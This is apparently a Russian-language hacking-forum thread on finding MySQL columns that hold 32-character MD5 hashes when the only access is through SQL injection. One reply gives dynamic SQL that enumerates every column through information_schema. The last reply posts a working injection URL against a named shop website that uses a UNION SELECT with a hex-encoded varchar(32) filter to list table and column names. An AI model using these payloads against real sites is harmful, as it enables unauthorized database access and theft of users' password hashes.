Всем привет. подскажите можно ли составить следующий запрос к бд mysql: необходимо узнать имя колонки, длина содержимого которой равна определенному кол-ву символов. или название таблицы где эта колонка находится. как пример допустим мы знаем что нужное нам значение хранится в мд5 где 32 символа, но не знаем как колонка называется и столбец. возможно такой запрос составить?
В рамках одного SELECT запроса - официально нельзя. Неофициально - сейчас только если файлы читать и самим их парсить. В рамках нескольких запросов - можно. Code: SET @sql := '(SELECT null as `col_name`, null as `col_value` LIMIT 0) '; SELECT isnull(@sql := concat(@sql, concat(' UNION (SELECT "', @col_name:=concat(@tbl_name:=concat(t.TABLE_SCHEMA, '.', t.TABLE_NAME), '.', t.COLUMN_NAME),'", (SELECT ', @col_name, ' FROM ', @tbl_name, ' LIMIT 1))'))) as `sql_is_null`, count(*) FROM information_schema.columns t GROUP BY 1; SET @sql := concat('SELECT col_name, col_value FROM (', @sql, ') t WHERE length(col_value) = 32;'); PREPARE stmt FROM @sql; EXECUTE stmt; Если нет доступа к БД - вместо PREPARE и EXECUTE можно самим заслать полученный запрос. Работать будет долго. Запрос смотрит только на первую запись (иначе много мусора и работает намного дольше). Если есть ограничения на длину - засылать придется по частям.
доступ к бд только посредством sql inj вот что получилось: "Если нет доступа к БД - вместо PREPARE и EXECUTE можно самим заслать полученный запрос." - можно поподробней?
мб column_type=varchar(32) поможет Code: http://www.reddshop.com/product_listing.php?catid=4+and+1=2+union+select+group_concat(table_name,0x3a,column_name)+from+information_schema.columns+where+column_type=0x7661726368617228333229--+